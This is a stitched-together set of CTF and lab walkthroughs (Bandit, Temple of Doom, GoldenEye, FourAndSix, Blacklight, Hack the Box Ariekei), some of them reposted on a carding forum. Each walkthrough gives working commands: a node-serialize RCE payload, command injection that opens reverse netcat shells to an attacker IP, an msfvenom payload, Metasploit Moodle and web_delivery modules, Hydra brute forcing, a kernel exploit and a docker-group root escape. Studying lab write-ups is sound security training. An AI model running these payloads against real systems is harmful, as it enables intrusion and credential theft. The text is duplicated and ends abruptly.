We are informed that there is a setuid binary in this level whose job is to make a connection to localhost on a port and read the password used to login as bandit20 and then send the password for the next level. First, let’s see the files we have using the command ls. We have a script suconnect. On running this command without any parameters, we see that it requires a port to connect to. Now here is the part where it gets tricky. The image given below is one instance of the shell. We will execute to the point where we run suconnect without parameters and create other instance of the same shell. Run a netcat listener over another instance on the same port we are planning to suconnect. But we need to start listener before running the suconnect. On running the suconnect. Netcat will grab a session. Now we enter the password that we used to login as user bandit20. As we can see that the password, we entered is read by the suconnect and when the password is verified. Password for the next level is sent to the listener.
ls
./suconnect
./suconnect 4444

1
2
3

ls
./suconnect
./suconnect 4444

Image shown below is the execution of the first instance.
[Image: 15.png?w=687&ssl=1]
nc -lvp 4444
1
nc -lvp 4444

Image shown below is the execution of the second instance.
[Image: 16.png?w=687&ssl=1]
Now that we have the password for the next level, we move back to our first instance and used the password to login as user bandit21 using SSH.
ssh bandit21@localhost
1
ssh bandit21@localhost

[Image: 17.png?w=687&ssl=1]


  [Guide] How to Hack the Temple of Doom (CTF Challenge)
Posted by: NINZA - 05-14-2020, 09:20 AM - Forum: Carders Home - No Replies

Temple of Doom is a new CTF challenge VM on vulnhub made by

[To see content please register here]

. You can download it from

[To see content please register here]

. The aim of this lab is to capture the flag in the root directory of the system. This lab is inspired by the Indiana Jones movie Temple of Doom. The level of this lab is intermediate.
Steps Involved
  • Port scanning
  • Burp intercept to capture cookies.
  • Cookie processing for node serialize RCE vulnerability.
  • Getting the current user by RCE.
  • Getting a netcat shell for the current user.
  • Discovering ss-manager being run as root.
  • Exploiting command execution vulnerability on ss-manager to get a netcat shell
  • Shell crafting from tcpdump and sudo
  • Getting a netcat shell as root.
  • Grabbing the flag.
Let’s get started
First and foremost, we scanned the IP address with the most popular scanning tool called nmap. It discovered all the ports open on the victim’s system.
nmap -A 192.168.1.130
1
nmap -A 192.168.1.130

[Image: 1.png?w=687&ssl=1]
Hence, we observed that port 666 is hosting a node.js express framework so there must definitely be a web page at port 666. We tried to open the URL on the browser and obtained the following result.
[Image: 2.png?w=687&ssl=1]
We also opened the source code behind the page but nothing seemed to impress us. So, it was time to capture the page’s request using Burp Suite. Burp Suite acted as a proxy and revealed the activity going behind the front end.
[Image: 3.png?w=687&ssl=1]
We got a cookie which was double encoded. It was a Base64 + URL encoding (because we observed “%3D” at the end of the cookie which is nothing but a URL encoding).
So, we sent this request to the repeater and then decoded the cookie using these keyboard shortcuts:
CTRL+SHIFT+U (to decode URL)
CTRL+SHIFT+B (to decode base64)
[Image: 5.png?w=687&ssl=1]
We observed the username and some token details in the cookie. But there was an add-on in the information when we refreshed the page again, it gave us an error like:
[Image: 5_0.png?w=687&ssl=1]
So, it gave us a hint to look over at the cookie we just decoded. We observed that there was a missing quotation mark before Friday. Hence, we fixed the quotation mark first.
[Image: 5_1.png?w=687&ssl=1]
Then we encoded the cookie again to replicate the format of the cookie that we got before with the keyboard shortcuts:
CTRL+B (To encode in base64)
CTRL+U (to encode in URL)
And then we forwarded it to observe the following output:
[Image: 6.png?w=687&ssl=1]
We inferred from the response of repeater that the page will output the username provided in the cookie.
We looked at the cookie again, it was of the format:
{“username”: “<uname>”, “csrftoken……..”}
We removed the rest of the token details first to check for any errors.
[Image: 7.png?w=687&ssl=1]
We then encoded it and sent a request to the server and checked its response in the repeater.
[Image: 8.png?w=687&ssl=1]
It seemed to be working even without Token details. Then we edited the username with a custom input. Example:  {“username”:“Harshit” }
[Image: 9_0.png?w=687&ssl=1]
Repeating the process of encoding it and sending it to the repeater yielded the following result to us.
[Image: 9_1.png?w=687&ssl=1]
Hence, we finally established that node-serialize was used. (You can read more about node-serialize

[To see content please register here]

).

What serialize does is that it determines, which data of the user object should be stored in the session. The user id (you provide as the second argument of the function) is saved in the session and is later used to retrieve the whole object via the unserialize function.
Which turned out to be vulnerable! Refer to

[To see content please register here]

article to read about how node-serialize is vulnerable to Remote Code Execution!

Hence, we used the shell provided to us by Ajin Abraham (on his

[To see content please register here]

) we modified the username argument with the shell.

[Image: 10.png?w=687&ssl=1]
The shell:
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}
1
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}

Explanation of the shell:
_$$ND_FUNC$$_function() : Executes a function locally.
child_process is a module in node.js that spawns child processes in a manner similar to popen(3).
child_process.exec () method: This method runs a command in a console and buffers the output.
It specifies string Shell to execute the command with ( Default: ‘/bin/sh’ on UNIX)
So, the shell we made told us the current user on the Linux system. We encoded it and forwarded it.
[Image: 11.png?w=687&ssl=1]
Hence, the current user was nodeadmin.

We then executed the command ls -lart
Encoded it and forwarded it and the following output was observed:
[Image: 12.png?w=687&ssl=1]
After establishing this much information, we ran a reverse netcat shell command.
[Image: 13.png?w=687&ssl=1]
Then we encoded it again and forwarded the request. Side by side, we activated a listener on kali and BOOM! We got a connection
id
1
id

It showed us the current user was nodeadmin.
We then tried to spawn a TTY shell using python utility in the victim’s machine.
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'

Which gave us a teletype!
cd /home
ls
cd fireman

1
2
3

cd /home
ls
cd fireman

Permission Denied!
[Image: 15.png?w=687&ssl=1]
We also observed that nodeadmin doesn’t have proper access to the folder fireman. Since nodeadmin is not the root, fireman directly or indirectly could give us the root.
Let us see if any process is run by a fireman as root or not
ps aux | grep fireman
1
ps aux | grep fireman

We observed that ss-manager is run by a fireman as root. After googling a little, we found that ss-manager was vulnerable to remote code execution (refer

[To see content please register here]

).

ss-manager is short for Shadowsocks.
Shadowsocks-libev is a lightweight secured SOCKS5 proxy for embedded devices
and low-end boxes. The ss-manager is meant to control shadowsocks servers
for multiple users, it spawns new servers if needed.
Hence, we’ll use Shadowsocks with netcat command execution by:
nc -u 127.0.0.1 8839
add: {“server_port":8003, "password":"test", "method":"||nc -e /bin/sh 192.168.1.106 4444 ||"}

1
2

nc -u 127.0.0.1 8839
add: {“server_port":8003, "password":"test", "method":"||nc -e /bin/sh 192.168.1.106 4444 ||"}

[Image: 16.png?w=687&ssl=1]
Side by side, we activated a netcat listener and obtained a shell.
Then, we spawned a teletype(TTY) using python again and then we checked for the sudoers list using:
id
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l

1
2
3

id
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l

[Image: 17.png?w=687&ssl=1]
We observed that tcpdump is present which could also be used for remote code execution!
To execute a shell, we moved to the directory /tmp since any user can read, write or execute files in this directory.
cd /tmp
echo "nc -e /bin/bash 192.168.1.106 8888" > shell
chmod 777 shell
sudo tcpdump -ln -I eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell -Z root

1
2
3
4

cd /tmp
echo "nc -e /bin/bash 192.168.1.106 8888" > shell
chmod 777 shell
sudo tcpdump -ln -I eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell -Z root

The above commands changed the directory to tmp, created a file called shell with a reverse netcat shell, changed the permission of the file of that file to RWX and finally used sudo and tcp dump for remote code execution!
[Image: 18.png?w=687&ssl=1]
[Image: 19.png?w=687&ssl=1]
Side by side we setup a netcat listener:
nc -lvp 8888
1
nc -lvp 8888

Again, we spawned a teletype using python:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'

BOOM! We have the root access!
[Image: 20.png?w=687&ssl=1]
In the end, we found the flag in the root directory!
cd /root
ls
cat flag.txt

1
2
3

cd /root
ls
cat flag.txt

CONGRATS! You too are a soldier now!
[Image: 21.png?w=687&ssl=1]

Welcome to another boot2root CTF challenge “Golden Eye” uploaded by Creosote on vulnhub. As, there is a theme, and you will need to snag the flag in order to complete the challenge and you can download it from

[To see content please register here]


By author, it has a good variety of techniques needed to get root – no exploit development/buffer overflows. So, on the basis of our experience and knowledge, we have made progress in solving the lab.
Level: Intermediate
Penetrating Methodologies:
  • Network scanning (Nmap)
  • Surfing HTTP web services
  • Fetched Encoded password
  • Decoding (Burp suite)
  • Brute-Force (Hydra)
  • Connecting to pop3 (Netcat)
  • Extracting password
  • Adding domain Name (/etc/host)
  • Exploring Domain Name over browser
  • Brute-force (Hydra)
  • Login to Server
  • Exploiting Moodle (Metasploit)
  • Kernel post Exploit (overlayfs)
  • Capture the flag
Let’s start
First and foremost we’ll scan the IP address with nmap. In my case, the IP address was 192.168.1.140.
nmap -p- -A 192.168.1.140 --open
1
nmap -p- -A 192.168.1.140 --open

[Image: 1.png?w=687&ssl=1]
Since port 80 was opened; so I explored target IP in the web browser. Here we got a little clue for login page /sev-home/ as you can see in the image.
[Image: 3.png?w=687&ssl=1]
After that, we thought to check it’s the source code which leads us to another clue to move ahead. Here we clicked on the link terminal.js as shown in the image.
[Image: 4.png?w=687&ssl=1]
The terminal.js put-up HTML code in front of us. Inside this html code, I read the given comment captured hint for two usernames (Boris, Natalya) and a password which was encoded as shown in the below image.
[Image: 5.png?w=687&ssl=1]
We copied the above-encoded text and use burp decoder for decoding HTML encoded text into plain text and obtain “InvincibleHack3r” password.
[Image: 5.png?w=687&ssl=1]
From the earlier clue of navigating to /sev-home/ to login. We browsed 192.168.1.140/sev-home/ in the browser and we got a clue that it has POP3 service as shown in the image.
[Image: 7.png?w=687&ssl=1]
Earlier we had enumerated the port 55006 and 55007 which were open for unknown service thus we used nmap version scan for them and found SSL/pop3 for 55006 and pop3 for 55007 along with their version.
nmap -Pn -p 55006,55007 -sV 192.168.1.140
1
nmap -Pn -p 55006,55007 -sV 192.168.1.140

[Image: 8.1.png?w=687&ssl=1]
So after getting two usernames, we applied brute-force for each users attack with help of the following command:
hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3
1
hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3

We got the password: secret1 for username boris as shown in the image.
[Image: 8.png?w=687&ssl=1]
Similarly with user natalya on port 55007 by using the command:
hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3
1
hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3

We got the password: bird for username natalya as shown in the image.
[Image: 9.png?w=687&ssl=1]
Using Netcat command we have logged in with the username: boris and password: secret1! .This gave us three messages as shown in the image.
[Image: 10.png?w=687&ssl=1]
Now reading all of the three messages, the clues given in the messages were of no use and are just made to confuse you, as it has wasted our time to make a clue out of it.
[Image: 12.png?w=687&ssl=1]
Similarly using Netcat command we have logged in with the username: natalya and password: bird. This gave us two messages as shown in the image.
nc 192.168.1.140 55007
1
nc 192.168.1.140 55007

[Image: 13.png?w=687&ssl=1]
After opening all the messages, we saw some clues like username and password, domain name along with a directory name of the domain.
Username: xenia
Password: RCP90rulez!
Domain name: /severnaya-station.com/
Server directory: /gnocertdir

1
2
3
4

Username: xenia
Password: RCP90rulez!
Domain name: /severnaya-station.com/
Server directory: /gnocertdir

From this point, we thought of the adding the servers IP along with the domain name into Linux /etc/hosts. File.
[Image: 14.png?w=687&ssl=1]
As you can see in the image we have added the domain named along with servers IP inside /etc/host file in our local machine and saved it.
[Image: 15.png?w=687&ssl=1]
Next, we thought of browsing /gncertdir along with the Domain name.

[To see content please register here]


1

[To see content please register here]


Ohhh!!!  It was GoldenEye welcome page which was designed within Moodle CMS, this can be taken as a hint for further use.
[Image: 16.png?w=687&ssl=1]
Now on further exploring the tabs on the page, inside message box, we opened the recently found conversation between Xenia and Doak (another new user).
[Image: 17.png?w=687&ssl=1]
Then again use hydra for fetching password for doak with help of the following command
hydra -l doak -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3
1
hydra -l doak -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.140 -s 55007 pop3

We got the password: a goat for username: doak as shown in the image.
[Image: 18.png?w=687&ssl=1]
nc 192.168.1.140 55007
1
nc 192.168.1.140 55007

Using Netcat command we have logged in with the username: doak and password: goat. This gave us a message. Now further reading the message, we acquired a username and password.
Username: dr_doak
Password: 4England!

1
2

Username: dr_doak
Password: 4England!

[Image: 19.png?w=687&ssl=1]
Now Logging in with the acquired username: dr_doak and password: 4England! into the domains login page as shown in the image. On exploring all the tabs in the navigation section of the page, we saw an s3cret.txt file in my private files.
[Image: 20.png?w=687&ssl=1]
So we download s3cret.txt and open it with the help of cat command. It gave me the path for jpg image.
cat s3cret.txt
1
cat s3cret.txt

[Image: 21.png?w=687&ssl=1]
We have downloaded the image file and opened it where we saw an encoded line into the base64 format, it made us curious to decode it.
wget

[To see content please register here]

string for-007.jpg

1
2

wget

[To see content please register here]

string for-007.jpg

[Image: 22.png?w=687&ssl=1]
echo {base64 encode text} | base64 -d
1
echo {base64 encode text} | base64 -d

And found xWinter1995x! as plain text which could be any password.
[Image: 23.png?w=687&ssl=1]
Now further exploring the website we have logged into lead us to TinyMCE HTML editor inside the plugins and text editors tab. Here we have selected Google spell as a spell engine and saved the changes. But it didn’t work here, so I take help of Google.
[Image: 24.png?w=687&ssl=1]
After searching for the Moodle Exploit, we found an exploit 29324, here we saw that spell engine selected for tiny MCE is PSpellShell as shown in the image. Here we have also got a clue of a new Username: admin.
[Image: 25.png?w=687&ssl=1]
So now we have changed the Spell engine to PSpellShell and saved the changes made.
[Image: 26.png?w=687&ssl=1]
Moodle allows an authenticated user to define spellcheck settings via the web interface. The user can update the spellcheck mechanism to point to a system-installed aspell binary. By updating the path for the spellchecker to an arbitrary command, an attacker can run arbitrary commands in the context of the web application upon spell checking requests. This module also allows an attacker to leverage another privilege escalation vulnerability.
use exploit/multi/http/moodle_cmd_exec
msf exploit(moodle_cmd_exec) > set rhost severnaya-station.com
msf exploit(moodle_cmd_exec) > set targeturi /gnocertdir
msf exploit(moodle_cmd_exec) > set username admin
msf exploit(moodle_cmd_exec) > set password xWinter1995x!

1
2
3
4
5

use exploit/multi/http/moodle_cmd_exec
msf exploit(moodle_cmd_exec) > set rhost severnaya-station.com
msf exploit(moodle_cmd_exec) > set targeturi /gnocertdir
msf exploit(moodle_cmd_exec) > set username admin
msf exploit(moodle_cmd_exec) > set password xWinter1995x!

Booom!!! We successfully got command shell session 1.
[Image: 27.png?w=687&ssl=1]
As we love meterpreter session, so I upgrade it into the meterpreter shell.
session -u 1
1
session -u 1

Then with help of sysinfo, we enumerate its kernel, here we focused on Linux version which is 3.13 and if you will search in Google then you find post exploit for  Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – ‘overlayfs‘ Local Privilege Escalation
[Image: 28.png?w=687&ssl=1]
So we search kernel exploit for Linux 3.13 and found exploit 37292 inside Kali.
searchsploit Linux 3.13
1
searchsploit Linux 3.13

Then with help of gcc, we compile it as shell inside /root directory.
[Image: 29.png?w=687&ssl=1]
Then upload the compiled shell file into victim’s machine via meterpreter. Then use python one-liner to access the proper terminal and run following command.
python –c 'import pty;pty.spawn("/bin/bash")'
chmod 777 shell
./shell

1
2
3

python –c 'import pty;pty.spawn("/bin/bash")'
chmod 777 shell
./shell

Unfortunately!! Got error gcc not found.
[Image: 30.png?w=687&ssl=1]
We saw a message after accessing it that gcc is not currently installed. So to solve this issue we thought some alternative program to gcc and found cc as an alternative of it.
By making changes into the original file: 37292.c, we replace gcc to cc as shown in the image.
[Image: 31.png?w=687&ssl=1]
We have successfully compiled the exploit using cc command:
cc 37292.c -o raj
1
cc 37292.c -o raj

Now by uploading the shell into the root directory. By giving all the permissions and we have easily access it without any error message.
upload /root/raj
chmod 777 raj
./raj

1
2
3

upload /root/raj
chmod 777 raj
./raj

Yuppie!! We got root access successfully!!
[Image: 33.png?w=687&ssl=1]
Now let’s finish this task by capturing flag.txt inside /root directory.
cd /root
ls -ls
cat .flag.txt

1
2
3

cd /root
ls -ls
cat .flag.txt

[Image: 34.png?w=687&ssl=1]

FourAndSix is a CTF challenge uploaded by Fred on vulnhub. You can download it from

[To see content please register here]

.

The aim of this lab is to capture a flag in the root directory.
This lab was very confusing to even begin with due to the lack of description by the author. So, on the basis of our experience, we have progressed in the lab.
Steps involved:
  1. Port scanning and discovery of ports.
  2. Discovery of the shared folder (misconfigured NFS).
  3. Mounting a directory to see the contents in the shared folder.
  4. Mounting and checking the root directory.
  5. Capturing the flag.
Let’s get started then!
First and foremost we’ll scan the IP address with nmap. In my case, the IP address was: 192.168.1.105.
nmap -A 192.168.1.105
1
nmap -A 192.168.1.105

[Image: 1.png?w=687&ssl=1]
We established from the scan that there is an NFS service running.
Network File System (NFS): Network File System permits a user on a client machine to mount the shared files or directories over a network. NFS uses Remote Procedure Calls (RPC) to route requests between clients and servers. Although NFS uses TCP/UDP port 2049 for sharing any files/directories over a network.
Let us check the people having access to the shared folder.
showmount -e 192.168.1.105
1
showmount -e 192.168.1.105

[Image: 2.png?w=687&ssl=1]
We see that everyone has access to the shared folder.
Now for the sake of checking what is in the shared folder, we’ll create a directory in the /tmp folder to mount contents of the shared folder.
cd /tmp
mkdir raj
mount -t nfs 192.168.1.105:/shared /tmp/raj
cd raj
ls

1
2
3
4
5

cd /tmp
mkdir raj
mount -t nfs 192.168.1.105:/shared /tmp/raj
cd raj
ls

We have received an image file in our new directory.
[Image: 3.png?w=687&ssl=1]
Let’s try and mount this image file to see the contents in it.
mkdir usbstick
mount USB-stick.img usbstick
cd usbstick/
ls -la

1
2
3
4

mkdir usbstick
mount USB-stick.img usbstick
cd usbstick/
ls -la

[Image: 4.png?w=687&ssl=1]
But we obtained nothing useful at all.
Let’s check and see if the root directory is shareable or not.
mkdir main
mount 192.168.1.105:/ main
cd main
ls -la

1
2
3
4

mkdir main
mount 192.168.1.105:/ main
cd main
ls -la

[Image: 5.png?w=687&ssl=1]
Yes! It indeed is shareable.
Let’s move in the root directory now.
cd root
ls -la

1
2

cd root
ls -la

We see a text file called proof.txt!
cat proof.txt
1
cat proof.txt

[Image: 6.png?w=687&ssl=1]
Voila! We have obtained the flag! Happy hacking!

Hello everyone. In this article, we’ll be hacking a new lab Blacklight. The motto of the lab is to capture 2 flags. It is made by Carter B (downloadable from

[To see content please register here]

) and after a lot of brainstorming, we are presenting before you a really efficient method to get root and capture the flags.

Steps involved:
  1. Network discovery and port scan
  2. Directory busting the server
  3. Accessing robots.txt on the webpage
  4. Capturing flag 1 from robots.txt and discovery of a new port 9072
  5. Connection to port 9072 to upload a netcat reverse shell
  6. Getting root access and capturing the second flag
Let’s get started then.
First and foremost, we’ll discover the IP address of the lab. In my case, the IP is 192.168.1.102
[Image: 1.png?w=687&ssl=1]
Let’s scan all the open ports with the most popular tool nmap. A simple nmap might show fewer ports open so we try the all ports scan:
nmap -p- -A  192.168.1.102 --open
1
nmap -p- -A  192.168.1.102 --open

[Image: 2.png?w=687&ssl=1]
We discovered that port 80 is open. So there must be a webpage associated with it. Let’s move towards our browser and check the website.
[Image: 3.png?w=687&ssl=1]
There seems nothing interesting here! But wait… maybe there are some directories that could have something valuable for us.
Let’s do a directory buster scan over the IP then.
dirb

[To see content please register here]


1
dirb

[To see content please register here]


[Image: 4.png?w=687&ssl=1]
We observed that robots.txt is available here. It surely would have some information or some directories that could be beneficial. Let’s go over to our browser and access this.
[Image: 5.png?w=687&ssl=1]
Boom! There it is! Our very first flag. Let’s see what’s in there.
[Image: 6.png?w=687&ssl=1]
We have got a hash as flag1. But the next flag is unknown. But wait, the second line of this file says 9072! So, it has something to do with 9072 port and “the secret is at home” means only one thing–the next flag is at home. But to access home, we’ll have to be rooted.
There is another dictionary file present here but the current use of it is unknown.
Holding that thought, let’s go ahead and try connecting to port 9072 with telnet.
[Image: 12.png?w=687&ssl=1]
We successfully connected to a console but there is a restriction provided by the author here. We cannot execute more than 2 commands in this console! As soon as we hit 2 commands the server will quit and the listener won’t accept a connection again.
So, the first command that we type is .help, it will show us a list of things that we can do:
.readhash
.exec
.quit

1
2
3

.readhash
.exec
.quit

The obvious choice was .readhash but here is another fish! It is of no use! Just like the dictionary provided in robots.txt was of no use!
Now, we’ll try and upload a reverse netcat shell over the command line interface using msfvenom:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.120 lport=4444 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.120 lport=4444 R

[Image: 13.png?w=687&ssl=1]
Copy the raw code provided (mkfinfo /tmp/cdbe; nc 192.168.1.120 4444 0</tmp/cdbe | /bin/sh >tmp/cdbe 2>&1; rm /tmp/cdbe)
We’ll paste this code in the blacklight console using the .exec command:
.exec mkfinfo /tmp/cdbe; nc 192.168.1.120 4444 0</tmp/cdbe | /bin/sh >tmp/cdbe 2>&1; rm /tmp/cdbe
1
.exec mkfinfo /tmp/cdbe; nc 192.168.1.120 4444 0</tmp/cdbe | /bin/sh >tmp/cdbe 2>&1; rm /tmp/cdbe

[Image: 14.png?w=687&ssl=1]
The unique thing about this console is that the output of any command will never be shown. It all will happen in the background and then you’ll have to manually dump it. But let’s not go there as there is no need.
Side by side, let’s set up a netcat listener over port 4444 for the payload we just inserted.
[Image: 15.png?w=687&ssl=1]
AND WE HAVE A CONNECTION!
whoami
1
whoami

Told us we are in root.
But this is not a proper shell. Let us spawn a pty shell using the python command:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'

And we have a proper shell now!
Remember what flag1.txt told us? The secret is at home!
cd /home
ls
cd blacklight
ls

1
2
3
4

cd /home
ls
cd blacklight
ls

We found a text file called hash.txt!
cat hash.txt
[Image: 16.png?w=687&ssl=1]
We examined the home directory one more time. We found a directory called a secret! Remember when flag1.txt told us that the secret is in the home? Let’s check what is inside the .secret directory.
We obtained an image file called “flag2-inside.jpg”
cd /home
cd blacklight
ls -la
cd .secret

1
2
3
4

cd /home
cd blacklight
ls -la
cd .secret

It is obvious from the name of the file that the flag is inside this image. So, lets copy it inside the /var/www/html directory.
cp flag2-inside.jpg /var/www/html
1
cp flag2-inside.jpg /var/www/html

[Image: 51.png?w=687&ssl=1]
Let us run this on the web page now! Hmmmm… Why are these two words capitalized?
Wait! There is a tool called OUTGUESS!

[Image: 52.png?w=687&ssl=1]
Let’s download this image on the Desktop and use outguess to copy the flag hidden in a file called flag2.txt
./outguess -r /root/Desktop/flag2-inside.jpg -t flag2.txt
cat flag2.txt

1
2

./outguess -r /root/Desktop/flag2-inside.jpg -t flag2.txt
cat flag2.txt


[Image: 53.png?w=687&ssl=1]

Finally! We obtained the second flag! Happy Hacking!


  [Guide] How to Hack the Box Challenge: Ariekei Walkthrough
Posted by: NINZA - 05-14-2020, 09:18 AM - Forum: Carders Home - No Replies

Today we are going to solve another CTF challenge “Ariekei” which is available online for those who want to increase their skill in penetration testing and black box testing. Ariekei is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.65 so let’s begin with nmap port enumeration.
nmap -sV -p- 10.10.10.65 --open
1
nmap -sV -p- 10.10.10.65 --open

From the given below image, you can observe we found port 22, 443 and 1022 are open on the target system.
[Image: 1.png?w=687&ssl=1]
As port 443 is running HTTP server we open the target machine’s IP address in our browser, we check the SSL certificate and find 2 domain names: calvin.ariekei.htb and beehive.ariekei.htb.
[Image: 2.png?w=687&ssl=1]
Now when we open the website we get a webpage that has a message on it saying it was maintenance.
[Image: 3.png?w=687&ssl=1]
Now we add the two domain names we found in the SSL certificate in the /etc/hosts file for further enumeration.
[Image: 4.png?w=687&ssl=1]
When we open “calvin.ariekei.htb” we get an error message saying the requested URL is not found.
[Image: 5.png?w=687&ssl=1]
Now when we open “beehive.ariekei.htb” we get the same under maintenance page as we did the first time we opened the target’s IP address in our browser.
[Image: 6.png?w=687&ssl=1]
Now we use dirb to enumerate the directories running on target nginx server. We also find that using either the IP address or the domain “beehive.arieki.htb” gives us identical results.
dirb

[To see content please register here]

-w
1
dirb

[To see content please register here]

-w

[Image: 7.png?w=687&ssl=1]
The dirb scan shows that we access the /cgi-bin/stats directory on the target server, so we open the link provided by the dirb scan. We find that it is running some shell script which might be vulnerable to shellshock vulnerability.
[Image: 8.png?w=687&ssl=1]
When we try to exploit this page using shellshock, we get an emoji which persists whenever we try to exploit it. This may mean there is a web application firewall that protects the server from this attack.
[Image: 9.1.png?w=687&ssl=1]
Now we use dirb to scan the other domain on the target server as it was showing different pages when we opened it in our browser.
dirb

[To see content please register here]


1
dirb

[To see content please register here]


[Image: 9.png?w=687&ssl=1]
Dirb scan shows us a directory named “upload/”, we open the link and find an upload page.
[Image: 10.png?w=687&ssl=1]
This page looks like it converts one type of image into another. This application is may be vulnerable to ImageTragick vulnerability. So we create the mvg file to exploit this vulnerability.
[Image: 12.png?w=687&ssl=1]
Now we upload the file on the server using the image-convert web application page we find in the upload/ directory.
[Image: 14.png?w=687&ssl=1]
We setup our listener using netcat, as soon as we upload the file we get our reverse shell.
[Image: 15.png?w=687&ssl=1]
We take a look at /proc/1/cgroup and find that we are inside a Docker container.
[Image: 16.png?w=687&ssl=1]
Now we take a look at the mounted files and find a directory called /common.
[Image: 17.png?w=687&ssl=1]
We open the “common/” directory and find a secret directory called “.secrets/”. We take a look inside the content of the directory and find files named “bastion_key” and “bastion_key.pub”.
[Image: 18.png?w=687&ssl=1]
We open the “bastion_key” file and we find the RSA key.
[Image: 19.png?w=687&ssl=1]
We copy the file into our system and save it as id_rsa, so that we can use it to log in using ssh.
[Image: 20.png?w=687&ssl=1]
We change the permissions of the key, and log in through ssh as root user using the RSA key.
chmod 600 id_rsa
ssh [email protected] -p 1022 -i id_rsa

1
2

chmod 600 id_rsa
ssh [email protected] -p 1022 -i id_rsa

[Image: 21.png?w=687&ssl=1]
We again check if we are in docker container or not. We check the /proc/1/cgroup file and find that we are still in a docker container.
[Image: 22.png?w=687&ssl=1]
We again go to the “common/” directory, inside /containers/blog-test/ we find a few files and directories. One of the files contained a few bash commands and also root user password.
[Image: 23.png?w=687&ssl=1]
Enumerating the rest of the directories, inside /common/containers/waf-live/ we find the configuration files for the nginx server.
[Image: 24.png?w=687&ssl=1]
We look at the “nginx.conf” file and find that waf-live is running on port 443 and routing all traffic between the blog-test container and us. We also find that mod security is acting as the web application firewall.
Now during our dirb scan, we found a directory called /cgi-bin/stats/ which could be vulnerable to shellshock but we were unable to exploit it because of the web application firewall. As the waf-live is routing traffic between us and blog-test on port 443 it is possible to exploit the Shellshock vulnerability from inside the server.
[Image: 25.png?w=687&ssl=1]
We know the target ip to be 172.24.0.2 form the configuration file. We now need to find the IP address to the docker system we are in.
[Image: 26.png?w=687&ssl=1]
We use the shellshock exploit from

[To see content please register here]

, and we got a reverse shell of the machine.

<span style="color: #ffdc00;">python 34900.py payload=reverse rhost=172.24.0.2 lhost=172.24.0.253 lport=1234 pages=/cgi-bin/stats</span>
1
<span style="color: #ffdc00;">python 34900.py payload=reverse rhost=172.24.0.2 lhost=172.24.0.253 lport=1234 pages=/cgi-bin/stats</span>

[Image: 27.png?w=687&ssl=1]
The shell we got was not stable, so we use the web_delivery module of the Metasploit-framework to get a stable reverse shell.
msf > use multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 10.10.14.8
msf exploit(multi/script/web_delivery) > set lport 4444
msf exploit(multi/script/web_delivery) > run

1
2
3
4
5

msf > use multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 10.10.14.8
msf exploit(multi/script/web_delivery) > set lport 4444
msf exploit(multi/script/web_delivery) > run

[Image: 28.png?w=687&ssl=1]
We copy the command that was given in by the web_delivery script and pasted it in our unstable shell and we got our stable reverse shell.
[Image: 30.png?w=687&ssl=1]
Now we spawn a TTY shell and use the password we found earlier in the Dockerfile to log in as root.
[Image: 31.png?w=687&ssl=1]
Unfortunately, we are still inside a container app but in this container, inside /home/spanishdancer we find a file called “user.txt”. We take a look at the content of the file and find our first flag.
[Image: 32.png?w=687&ssl=1]
We search for hidden directories and find a directory called “.ssh” we go inside the directory and find three files authorized_keys, id_rsa and id_rsa.pub.
[Image: 33.png?w=687&ssl=1]
We take a look at the content of id_rsa and find the RSA key.
[Image: 34.png?w=687&ssl=1]
We copy the RSA key into our system and save it as key.txt so that we can use this to log in through ssh.
[Image: 35.png?w=687&ssl=1]
When we try to login through ssh using this key, we are asked for a passphrase. So we use john the ripper to crack the passphrase. We use the default wordlist of johntheripper and find the passphrase to be “purple1”.
ssh2john key.txt > hash_key.txt
john hash_key.txt

1
2

ssh2john key.txt > hash_key.txt
john hash_key.txt

[Image: 36.png?w=687&ssl=1]
After we get the passphrase we change the permission of RSA key file and login as user spanishdancer as it was inside the spanishdancer’s home directory.
chmod 600 key.txt
ssh -i key.txt [email protected]

1
2

chmod 600 key.txt
ssh -i key.txt [email protected]

[Image: 37.png?w=687&ssl=1]
Now when we run the id command we find that we are a member of the docker group. Some containers have a dedicated group to allow unprivileged users to manage their containers without having to escalate their privileges.
[Image: 38.png?w=687&ssl=1]
To exploit this vulnerability, we first need to check the docker images that are available.
docker images
[Image: 39.png?w=687&ssl=1]
We find that the bash image is available to us, so we use this to create a new image and mount the root/ directory of the host inside a folder called /hack. After we run the docker image we go to /hack/root and find a file called “root.txt”. When we open the file we find our final flag.
docker run -v /:/hack -i -t bash
1
docker run -v /:/hack -i -t bash

[Image: 40.png?w=687&ssl=1]

Welcome to another boot2root / CTF this one is called Violator. The VM is set to grab a DHCP lease on boot. As, there is a theme, and you will need to snag the flag in order to complete the challenge. for  downloading open this link:

[To see content please register here]


Some hints for you:
